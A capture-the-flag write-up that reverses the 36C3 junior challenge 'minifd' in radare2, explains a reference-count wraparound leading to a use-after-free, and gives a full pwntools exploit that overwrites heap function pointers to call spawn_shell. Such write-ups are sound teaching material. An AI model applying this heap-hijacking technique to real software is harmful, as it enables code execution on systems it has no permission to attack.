Exploiting A Use-After-Free With radare2 - CTF Challenge
ctf reversing exploitation r2 radare2 cutter heapThis writeup is about a 36C3 junior CTF challenge called minifd
which can be found here. The goal is to find and exploit a user-after-free vulnerability in order to spawn a shell on the remote system. Here’s the challenge description:
This is a simple file manager implementation supporting basic functionality to create, read, and write files.
Please note: This is a prototype implementation. At this point of time, only 16 files can be managed at the same time.
The 16 files are managed in a list that’s being held in memory. Files can be created, deleted, edited and duplicated with these commands:
create <string>
close <fd>
dup <fd>
read <fd> <n>
write <fd> <n> <string>
The first thing to do, after playing around with the service itself, is to load the challenge binary into a 1337 hacker tool like Cutter
. This is a handy GUI for radare2
. By making use of the graph view, one can get a good overview of the implementation. Let’s have a look at how files are created in sym.create
:
A few things can be noticed here: First of all, the files are being allocated on the heap - hence the call to calloc()
. Also, the size of a single file seems to be 80 bytes (0x50
) in total since that’s the requested chunk size. After requesting a memory chunk, it’s being initialized as a new file.
Reversing The Data Structure
From the disassembled instructions it’s possible to reconstruct the structure that represents a file in memory:
struct file {
uint8_t refcount; // +0x0: mov byte [rax], 1
uint8_t unused_1; // +0x1
uint8_t unused_2; // +0x2
uint8_t unused_3; // +0x3
uint32_t data_len; // +0x4: mov dword [rax + 4], 0
unsigned char* data; // +0x8: mov dword [rax + 8], 0
unsigned char name[32]; // +0x10 ... +0x2F (0x1F length): strcpy
void* close_func; // +0x30: lea rax, [sym.c3ctf_file_close]
void* read_func; // +0x38: lea rax, [sym.c3ctf_file_read]
void* write_func; // +0x40: lea rax, [sym.c3ctf_file_write]
void* dup_func; // +0x48: lea rax, [sym.c3ctf_file_dup]
};
An important thing to notice is that the last four fields are function pointers to the operations that users can call. At last, the file is then added into a slot in the global list of files with the last three lines of disassembled code listed in the graph output above.
The data types are clear now but how to determine the purpose of the structure fields? Check out the operations that users can invoke on the structure:
- sym.do_dup()
The first byte of the structure is being checked in sym.do_dup()
. If it’s not zero, then a call to [rbx + 0x48]
is being made. As listed in the structure above, this is a pointer to sym.c3ctf_file_dup()
:
- sym.c3ctf_file_dup()
Duplicating files just increases the value stored at the given address. This makes sense for a reference count.
- sym.c3ctf_file_write()
The value at rdi + 4
is being compared to the second argument of the function, which is the amount of bytes the user requested to write. If it’s below the other value, a jump is being made that skips the re-allocation of the data rbp + 8
points to. This essentially re-uses the space of a previous allocation in case the space is sufficient for the new content. If it’s not, then a new allocation takes place. By putting this together you can determine that the value at offset +4
is the data length and that offset +8
points to a heap segment that’s filled with data.
Loading The Struct In radare2
Now that the data structure is known, the best thing to do is to load it into radare2
so it can cast memory at a given address to this data type. This is pretty easy and only requires a single command:
[0x004007c0]> t?
Usage: t # cparse types commands
[...]
| td[?] <string> Load types from string
| ts[?] Print loaded struct types
| tp <type> [addr|varname] cast data at <address> to <type> and print it
[...]
[0x004007c0]> "td struct file {uint8_t refcount;uint8_t unused_1;uint8_t unused_2;uint8_t unused_3;uint32_t data_len;unsigned char* data;unsigned char name[32];void* close_func;void* read_func;void* write_func;void* dup_func;};"
[0x004007c0]> ts
file
After that it’s possible to print a given memory segment as a file
:
[0x00400ad5]> tp file 0x00a5a3f0
refcount : 0x00a5a3f0 = 0x01
unused_1 : 0x00a5a3f1 = 0x00
unused_2 : 0x00a5a3f2 = 0x00
unused_3 : 0x00a5a3f3 = 0x00
data_len : 0x00a5a3f4 = 0
data : 0x00a5a3f8 = (qword)0x0000000000000000
name : 0x00a5a400 = [ 0x79, 0x6f, 0x6c, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x00, [...] ]
close_func : 0x00a5a420 = (qword)0x00000000004008ab
read_func : 0x00a5a428 = (qword)0x00000000004008d0
write_func : 0x00a5a430 = (qword)0x00000000004008f1
dup_func : 0x00a5a438 = (qword)0x00000000004008a7
After executing write 0 22 yoloyoloyoloyoloyolyol
in the debugged process, the data
pointer changes:
[0x00400ad5]> tp file 0x00a5a3f0
refcount : 0x00a5a3f0 = 0x01
unused_1 : 0x00a5a3f1 = 0x00
unused_2 : 0x00a5a3f2 = 0x00
unused_3 : 0x00a5a3f3 = 0x00
data_len : 0x00a5a3f4 = 0
data : 0x00a5a3f8 = qword)0x0000000000a5a4c0
name : 0x00a5a400 = [ 0x79, 0x6f, 0x6c, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x00, [...] ]
close_func : 0x00a5a420 = (qword)0x00000000004008ab
read_func : 0x00a5a428 = (qword)0x00000000004008d0
write_func : 0x00a5a430 = (qword)0x00000000004008f1
dup_func : 0x00a5a438 = (qword)0x00000000004008a7
[0x00400907]> pxq@0x0000000000a5a4c0
0x00a5a4c0 0x6f6c6f796f6c6f79 0x6f6c6f796f6c6f79 yoloyoloyoloyolo
0x00a5a4d0 0x00006c6f796c6f79 0x000000000001fb31 yolyol..1.......
Exploitation
An important thing to notice is that the reference count of an allocated file
can be incremented directly by users:
This gets called without any prior checks for free space in one of the 16 slots. Because of this, the reference count can be incremented until the value wraps around. This makes exploitation possible in this scenario:
- A file
a
gets allocated - A file
b
gets allocated - The file
a
gets duplicated so that there exist two file handles that have pointers to the same chunk of heap memory - The rest of the file table gets filled with files
- At this point the reference count for
a
is0x2
since there are two pointers that reference to it. Now thedup()
call will be performed for the filea
exactly 255 times. This causes the reference count to wrap around and to contain the value0x1
now - One of the file handles for
a
gets closed now. The reference count fora
is now at0x0
and therefore the associated memory chunk with size0x50
gets freed. However, there’s still a handle available that points to this freed memory region. This is called a dangling pointer - A
write
operation tob
follows. This write has to be exactly of size0x50
(80 bytes) to cause the heap manager to place the written bytes into the memory region that was freed previously. Thecalloc()
call will return the same address again. This places a fake object in memory that also contains more or less valid function pointers :) - An arbitrary operation that involves one of the four function pointers is now being invoked on the remaining handle to
a
. This causes the application to make acall
to the attacker-controlled function pointer
Let’s see how it looks like from a memory perspective. This is the file list after step 6:
-----------------------------------------
| fd | file name |
-----------------------------------------
| 0 | |
| 1 | b |
| 2 | a |
| 3 | x |
| 4 | x |
| 5 | x |
| 6 | x |
| 7 | x |
| 8 | x |
| 9 | x |
| 10 | x |
| 11 | x |
| 12 | x |
| 13 | x |
| 14 | x |
| 15 | x |
-----------------------------------------
Now step 7 is performed - calling write 1 80 $(ragg2 -r -P 80)
already shows some weird looking results on the UI:
| fd | file name |
-----------------------------------------
| 0 | |
| 1 | b |
| 2 | AAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaA |
| 3 | x |
| 4 | x |
| 5 | x |
| 6 | x |
| 7 | x |
| 8 | x |
| 9 | x |
| 10 | x |
| 11 | x |
| 12 | x |
| 13 | x |
| 14 | x |
| 15 | x |
-----------------------------------------
This is the file table that obj.files
points to:
[0x7fe5d93a73f2]> pxq@obj.files
0x006020a0 0x0000000000000000 0x00000000012f0790 ........../.....
0x006020b0 0x00000000012f0730 0x00000000012f07f0 0./......./.....
0x006020c0 0x00000000012f0850 0x00000000012f08b0 P./......./.....
0x006020d0 0x00000000012f0910 0x00000000012f0970 ../.....p./.....
0x006020e0 0x00000000012f09d0 0x00000000012f0a30 ../.....0./.....
0x006020f0 0x00000000012f0a90 0x00000000012f0af0 ../......./.....
0x00602100 0x00000000012f0b50 0x00000000012f0bb0 P./......./.....
0x00602110 0x00000000012f0c10 0x00000000012f0c70 ../.....p./.....
Now the contents of the third slot are being printed - that’s the corrupted file:
[0x7fe5d93a73f2]> tp file 0x00000000012f0730
refcount : 0x012f0730 = 0x41
unused_1 : 0x012f0731 = 0x41
unused_2 : 0x012f0732 = 0x41
unused_3 : 0x012f0733 = 0x42
data_len : 0x012f0734 = 1094926657
data : 0x012f0738 = (qword)0x4641414541414441
name : 0x012f0740 = [ 0x41, 0x41, 0x47, 0x41, 0x41, 0x48, 0x41, 0x41, 0x49, 0x41, 0x41, 0x4a, 0x41, 0x41, 0x4b, 0x41, 0x41, 0x4c, 0x41, 0x41, 0x4d, 0x41, 0x41, 0x4e, 0x41, 0x41, 0x4f, 0x41, 0x41, 0x50, 0x41, 0x41 ]
close_func : 0x012f0760 = (qword)0x4153414152414151
read_func : 0x012f0768 = (qword)0x5641415541415441
write_func : 0x012f0770 = (qword)0x4141584141574141
dup_func : 0x012f0778 = (qword)0x416141415a414159
All function pointers are now under control.
Calling dup 2
now causes the application to jump to the attacker-controlled location. Luckily the target binary is compiled without PIC and contains a function called sym.spawn_shell()
.
For reference this is the same region before and after the hax were performed:
[0x7fe5d93a73f2]> pxq@0x00000000012f0730
0x012f0730 0x0000000000000000 0x0000000000000000 ................
0x012f0740 0x0000000000000061 0x0000000000000000 a...............
0x012f0750 0x0000000000000000 0x0000000000000000 ................
0x012f0760 0x00000000004008ab 0x00000000004008d0 ..@.......@.....
0x012f0770 0x00000000004008f1 0x00000000004008a7 ..@.......@.....
[0x7fe5d93a73f2]> pxq@0x00000000012f0730
0x012f0730 0x4143414142414141 0x4641414541414441 AAABAACAADAAEAAF
0x012f0740 0x4141484141474141 0x414b41414a414149 AAGAAHAAIAAJAAKA
0x012f0750 0x4e41414d41414c41 0x41415041414f4141 ALAAMAANAAOAAPAA
0x012f0760 0x4153414152414151 0x5641415541415441 QAARAASAATAAUAAV
0x012f0770 0x4141584141574141 0x416141415a414159 AAWAAXAAYAAZAAaA
You can see that the reference count is 0x0
, the name is a
and that the function pointers were still intact before.
This is my finished exploit:
#!/usr/bin/env python2
from pwntools_r2 import *
from pwn import *
context.terminal = ['tmux', 'splitw', '-v']
r2script = """
#r2.cmd('aa')
#r2.cmd('dc')
#r2.cmd('dc')
"""
binary = ELF("./fd")
p = r2dbg('./fd', r2script=r2script)
p.recvuntil(">")
p.sendline("create a")
p.sendline("create b")
p.sendline("dup 0")
for i in range(16):
p.sendline("create x")
for i in range(255):
p.sendline("dup 0")
p.sendline("close 0")
FAKESIZE = 0x50
fakeobj = ""
fakeobj = "A" * (FAKESIZE - 0x8)
fakeobj += p64(binary.symbols['spawn_shell'])
p.sendline("write 1 80 " + fakeobj)
p.sendline("dup 2")
p.interactive()